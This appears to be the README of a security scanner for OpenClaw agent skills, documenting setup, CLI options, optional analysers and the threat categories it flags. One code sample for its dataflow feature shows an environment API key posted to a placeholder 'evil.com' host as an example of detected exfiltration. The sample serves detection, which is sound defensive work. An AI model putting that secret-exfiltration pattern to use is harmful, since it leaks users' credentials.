Skill Auditor

# Skill Auditor v2.1

Enhanced security scanner that analyzes skills and provides comprehensive threat detection with advanced analysis capabilities.

## After Installing

Run the setup wizard to configure optional features:

```bash cd skills/skill-auditor node scripts/setup.js ```

The wizard explains each feature, shows real test data, and lets you choose what to enable.

## Quick Start

**Scan a skill:** ```bash node skills/skill-auditor/scripts/scan-skill.js <skill-directory> ```

**Audit all your installed skills:** ```bash node skills/skill-auditor/scripts/audit-installed.js ```

## Setup Wizard (Recommended)

Run the interactive setup to configure optional features:

```bash cd skills/skill-auditor node scripts/setup.js ```

The wizard will: 1. **Detect your OS** (Windows, macOS, Linux) 2. **Check Python availability** (required for AST analysis) 3. **Offer to install tree-sitter** for dataflow analysis 4. **Configure auto-scan** on skill installation 5. **Save preferences** to `~/.openclaw/skill-auditor.json`

### Setup Commands

```bash node scripts/setup.js # Interactive setup wizard node scripts/setup.js --status # Show current configuration node scripts/setup.js --enable-ast # Just enable AST analysis ```

## Audit All Installed Skills

Scan every skill in your OpenClaw installation at once:

```bash node scripts/audit-installed.js ```

**Options:** ```bash node scripts/audit-installed.js --severity critical # Only critical issues node scripts/audit-installed.js --json # Save results to audit-results.json node scripts/audit-installed.js --verbose # Show top findings per skill ```

**Output:** - Color-coded risk levels (🚨 CRITICAL, ⚠️ HIGH, 📋 MEDIUM, ✅ CLEAN) - Summary stats (total scanned, by risk level) - Detailed list of high-risk skills with capabilities

## Cross-Platform Installation

### Core Scanner (No Dependencies) Works on all platforms with just Node.js (which OpenClaw already provides).

### AST Analysis (Optional) Requires Python 3.8+ and tree-sitter packages.

| Platform | Python Install | Tree-sitter Install | |----------|----------------|---------------------| | **Windows** | Pre-installed or `winget install Python.Python.3` | `pip install tree-sitter tree-sitter-python` | | **macOS** | Pre-installed or `brew install python3` | `pip3 install tree-sitter tree-sitter-python` | | **Linux** | `apt install python3-pip` | `pip3 install tree-sitter tree-sitter-python` |

**Note:** Tree-sitter has prebuilt wheels for all platforms — no C++ compiler needed!

## Core Features (Always Available)

- **Static Pattern Analysis** — Regex-based detection of 40+ threat patterns - **Intent Matching** — Contextual analysis against skill's stated purpose - **Accuracy Scoring** — Rates how well behavior matches description (1-10) - **Risk Assessment** — CLEAN / LOW / MEDIUM / HIGH / CRITICAL levels - **OpenClaw Specifics** — Detects MEMORY.md, sessions tools, agent manipulation - **Remote Scanning** — Works with GitHub URLs (via scan-url.js) - **Visual Reports** — Human-readable threat summaries

## Advanced Features (Optional)

### 1. Python AST Dataflow Analysis **Traces data from sources to sinks through code execution paths**

```bash npm install tree-sitter tree-sitter-python node scripts/scan-skill.js <skill> --mode strict ```

**What it detects:** - Environment variables → Network requests - File reads → HTTP posts - Memory file access → External APIs - Cross-function data flows

**Example:** ```python # File 1: utils.py def get_secrets(): return os.environ.get('API_KEY')

# File 2: main.py key = get_secrets() requests.post('evil.com', data=key) # ← Dataflow detected! ```

### 2. VirusTotal Binary Scanning **Scans executable files against 70+ antivirus engines**

```bash export VIRUSTOTAL_API_KEY="your-key-here" node scripts/scan-skill.js <skill> --use-virustotal ```

**Supported formats:** .exe, .dll, .bin, .wasm, .jar, .apk, etc.

**Output includes:** - Malware detection status - Engine consensus (e.g., "3/70 engines flagged") - Direct VirusTotal report links - SHA256 hashes for verification

### 3. LLM Semantic Analysis **Uses AI to understand if detected behaviors match stated intent**

```bash # Requires OpenClaw gateway running node scripts/scan-skill.js <skill> --use-llm ```

**How it works:** 1. Groups findings by category 2. Asks LLM: "Does this behavior match the skill's description?" 3. Adjusts severity based on semantic understanding 4. Provides confidence ratings

**Example:** - **Finding:** "Accesses MEMORY.md" - **Skill says:** "Optimizes agent memory usage" - **LLM verdict:** "LEGITIMATE — directly supports stated purpose" - **Result:** Severity downgraded, marked as expected

### 4. SARIF Output for CI/CD **GitHub Code Scanning compatible format**

```bash node scripts/scan-skill.js <skill> --format sarif --fail-on-findings ```

**GitHub integration:** ```yaml # .github/workflows/skill-scan.yml - name: Scan Skills run: | node skill-auditor/scripts/scan-skill.js ./skills/new-skill \ --format sarif --fail-on-findings > results.sarif - name: Upload SARIF uses: github/codeql-action/upload-sarif@v2 with: sarif_file: results.sarif ```

### 5. Detection Modes **Adjustable sensitivity levels**

```bash --mode strict # All patterns, higher false positives --mode balanced # Default, optimized accuracy --mode permissive # Only critical patterns ```

## Usage Examples

### Basic Scanning ```bash # Scan local skill node scripts/scan-skill.js ../my-skill

# Scan with JSON output node scripts/scan-skill.js ../my-skill --json report.json

# Format visual report node scripts/format-report.js report.json ```

### Advanced Scanning ```bash # Full analysis with all features node scripts/scan-skill.js ../my-skill \ --mode strict \ --use-virustotal \ --use-llm \ --format sarif \ --json full-report.sarif

# CI/CD integration node scripts/scan-skill.js ../my-skill \ --format sarif \ --fail-on-findings \ --mode balanced ```

### Remote Scanning ```bash # Scan GitHub skill without cloning node scripts/scan-url.js "https://github.com/user/skill" --json remote-report.json node scripts/format-report.js remote-report.json ```

## Installation Options

### Zero Dependencies (Recommended for CI) ```bash # Works immediately — no installation needed node skill-auditor/scripts/scan-skill.js <skill> ```

### Optional Advanced Features ```bash cd skills/skill-auditor

# Install all optional features npm install

# Or install selectively: npm install tree-sitter tree-sitter-python # AST analysis npm install yara # YARA rules (future)

# VirusTotal requires API key only: export VIRUSTOTAL_API_KEY="your-key"

# LLM analysis requires OpenClaw gateway: openclaw gateway start ```

## What Gets Detected

### Core Threat Categories - **Prompt Injection** — AI instruction manipulation attempts - **Data Exfiltration** — Unauthorized data transmission - **Sensitive File Access** — MEMORY.md, credentials, SSH keys - **Shell Execution** — Command injection, arbitrary code execution - **Path Traversal** — Directory escape attacks - **Obfuscation** — Hidden/encoded content - **Persistence** — System modification for permanent access - **Privilege Escalation** — Browser automation, device access

### OpenClaw-Specific Patterns - **Memory File Writes** — Persistence via MEMORY.md, AGENTS.md - **Session Tool Abuse** — Data exfiltration via sessions_send - **Gateway Control** — config.patch, restart commands - **Node Device Access** — camera_snap, screen_record, location_get

### Advanced Detection (with optional features) - **Python Dataflow** — Variable tracking across functions/files - **Binary Malware** — Known malicious executables via VirusTotal - **Semantic Intent** — LLM-based behavior vs. description analysis

## Output Formats

### 1. JSON (Default) ```json { "skill": { "name": "example", "description": "..." }, "riskLevel": "HIGH", "accuracyScore": { "score": 7, "reason": "..." }, "findings": [...], "summary": { "analyzersUsed": ["static", "ast-python", "llm-semantic"] } } ```

### 2. SARIF (GitHub Code Scanning) ```bash --format sarif ``` Uploads to GitHub Security tab, integrates with pull request checks.

### 3. Visual Report ```bash node scripts/format-report.js report.json ``` Human-readable summary with threat gauge and actionable findings.

## Configuration

### Environment Variables ```bash VIRUSTOTAL_API_KEY="vt-key" # VirusTotal integration DEBUG="1" # Verbose error output ```

### Command Line Options ```bash --json <file> # JSON output file --format sarif # SARIF output for GitHub --mode <mode> # strict|balanced|permissive --use-virustotal # Enable binary scanning --use-llm # Enable semantic analysis --custom-rules <dir> # Additional YARA rules --fail-on-findings # Exit code 1 for HIGH/CRITICAL --help # Show all options ```

## Architecture Overview

``` skill-auditor/ ├── scripts/ │ ├── scan-skill.js # Main scanner (v2.0) │ ├── scan-url.js # Remote GitHub scanning │ ├── format-report.js # Visual report formatter │ ├── analyzers/ # Pluggable analysis engines │ │ ├── static.js # Core regex patterns (zero-dep) │ │ ├── ast-python.js # Python dataflow analysis │ │ ├── virustotal.js # Binary malware scanning │ │ └── llm-semantic.js # AI-powered intent analysis │ └── utils/ │ └── sarif.js # GitHub Code Scanning output ├── rules/ │ └── default.yar # YARA format patterns ├── package.json # Optional dependencies └── references/ # Documentation (unchanged) ```

## Backward Compatibility

**v1.x commands work unchanged:** ```bash node scan-skill.js <skill-dir> # ✅ Works node scan-skill.js <skill-dir> --json out.json # ✅ Works node format-report.js out.json # ✅ Works ```

**New v2.0 features are opt-in:** ```bash node scan-skill.js <skill-dir> --use-llm # ⚡ Enhanced node scan-skill.js <skill-dir> --use-virustotal # ⚡ Enhanced ```

## Limitations

### Core Scanner - **Novel obfuscation** — New encoding techniques not yet in patterns - **Binary analysis** — Skips binary files unless VirusTotal enabled - **Sophisticated prompt injection** — Advanced manipulation techniques may evade regex

### Optional Features - **Python AST** — Limited to Python files, basic dataflow only - **VirusTotal** — Rate limited (500 queries/day free tier) - **LLM Analysis** — Requires internet connection and OpenClaw gateway - **YARA Rules** — Framework ready but custom rules not fully implemented

## Troubleshooting

### Common Issues

**"tree-sitter dependencies not available"** ```bash npm install tree-sitter tree-sitter-python ```

**"VirusTotal API error: 403"** ```bash export VIRUSTOTAL_API_KEY="your-actual-key" ```

**"LLM semantic analysis failed"** ```bash # Check OpenClaw gateway is running: openclaw gateway status curl http://localhost:18789/api/v1/health ```

**"SARIF output not generated"** ```bash # Ensure all dependencies installed: cd skills/skill-auditor && npm install ```

### Debug Mode ```bash DEBUG=1 node scripts/scan-skill.js <skill> ```

## Contributing

### Adding New Patterns 1. **Static patterns** → Edit `scripts/analyzers/static.js` 2. **YARA rules** → Add to `rules/` directory 3. **Python dataflow** → Extend `scripts/analyzers/ast-python.js`

### Testing New Features ```bash # Test against multiple skills: node scripts/scan-skill.js ../blogwatcher --use-llm --mode strict node scripts/scan-skill.js ../summarize --use-virustotal node scripts/scan-skill.js ../secure-browser-agent --format sarif ```

## Security Note

**This scanner is one layer of defense**, not a guarantee. Always: - Review code manually for novel attacks - Re-scan after skill updates - Use multiple security tools - Trust but verify — especially for high-privilege skills

**For sensitive environments**, enable all advanced features: ```bash node scripts/scan-skill.js <skill> \ --mode strict \ --use-virustotal \ --use-llm \ --fail-on-findings ```